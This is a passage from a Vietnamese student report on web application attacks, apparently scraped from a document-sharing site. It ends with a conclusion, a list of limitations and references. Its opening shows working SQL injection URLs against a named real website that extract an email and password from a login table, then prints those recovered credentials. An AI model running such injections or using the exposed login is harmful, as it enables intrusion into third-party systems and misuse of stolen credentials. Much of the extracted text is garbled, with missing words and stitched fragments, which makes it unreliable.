"password" http://www.vsmc.com.vn/news_detail.php?id=-19 union select 1,2,column_name,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21 from information_schema.columns where table_name=char(116,98,108,108,111,103,105,110) limit 5,1  Bƣớc 11: lay thong tin email va password AT6A-Học viện kỹ thuật mật mã Page 53 Tấn công Web ứng dụng http://www.vsmc.com.vn/news_detail.php?id=-19 union select 1,2,email,4,5,6,7,8,9,10,11,12,13,14,15,16,17,password,19,20,21 from tbllogin 5.1.3 Kết Email: layout@vsmc.com.vn Password: vinhlong đăng nhập vào trang với email http://www.vsmc.com.vn/member_login.php AT6A-Học viện kỹ thuật mật mã password vừa tìm Page 54 Tấn công Web ứng dụng 5.2 Kết luận 5.2.1 Các vấn đề đạt đƣợc  Theo yêu cầu đặt tiểu luận đạt nội dung sau:  Tìm hiểu kĩ thuật công ứng dụng Web bao gồm kĩ thuật  Chèn mã lệnh thực thi trình khách Cross-site Scripting  Chèn câu truy vấn SQL Tấn công SQL Injection nâng cao  Tấn công Local Acttack  Từ chối dịch vụ  Các biện pháp bảo mật từ kết hợp nhà quản trị mạng, nhà thiết kế ứng dụng Web người dùng  Kiểm tra trang Web có khả bị công kĩ thuật chèn câu lệnh SQL, thay đổi tham số hay không  Có thể phòng chống lỗi công thông dụng nay, vấn đề tìm hiểu 5.2.2 Hạn chế Trong trình làm có nhiều tài liệu tìm kiếm có mục đích giống song lại có phương pháp khác hoàn toàn.Tôi cố gắng tìm hiểu thêm chúng không khỏi có nhiều sai sót 5.2.3 Hƣớng phát triển đề tài Trong phạm vi tiểu luận, đạt yêu cầu đặt Bản thân nhóm xin đề xuất hướng phát triển đồ án mở rộng cố gắng phát triển thêm nội dung sau:  Tìm hiểu thêm kĩ thuật công để đưa phương pháp bảo mật ứng dụng Web mức độ sâu  Tìm hiểu vấn đề bảo mật sâu hơn, không dừng mức độ ứng dụng Web mà phát triển vần đề bảo mật hệ thống mạng dịch vụ  Khai triển chương trình phát lỗ hổng tốt hơn, nhiều phương diện kĩ thuật AT6A-Học viện kỹ thuật mật mã Page 55 Tấn công Web ứng dụng TÀI LIỆU THAM KHẢO [1] Lê Đình Duy, Tấn công SQL Injection tác hại phòng tránh, [2] Freewarez, Sổ tay Hacker v1.0 – www.chongthamnhung.com [3] OWASP, Tài liệu OWASP- http://www.owasp.org [4] S.K.PARMAR, Information Resource Guide -, Cst [5] Eccoucil, Certified Ethical Hacking version 6.0 [6] Appscan 7.7 External Document [7] Dafydd Stuttard, The.Web.Application.Hackers.Handbook-2007, AT6A-Học viện kỹ thuật mật mã Page 56 ... trang Web bên website Ứng dụng Web ứng dụng chủ/khách sử dụng giao thức HTTP để tương tác với người dùng hay hệ thống khác Ứng dụng web chia thành hai loại chính: ứng dụng web Public ứng dụng web. .. Tấn công Web ứng dụng Trong công từ chối dịch vụ điển hình vào ứng dụng web, hackers tìm cách chiếm gần hết nguồn tài nguyên hệ thống máy chủ ứng dụng, hậu người sử dụng hợp lệ truy cập vào ứng. .. thực thi ứng dụng web, hệ điều hành ứng dụng khác Rất nhiều ứng dụng web sử dụng hàm hệ điều hành chương trình để thi hành chức Sendmail chương trình sử dụng nhiều Khi ứng dụng web sử dụng liệu

Ngày đăng: 28/08/2017, 18:06

TỪ KHÓA LIÊN QUAN

TÀI LIỆU CÙNG NGƯỜI DÙNG

TÀI LIỆU LIÊN QUAN

w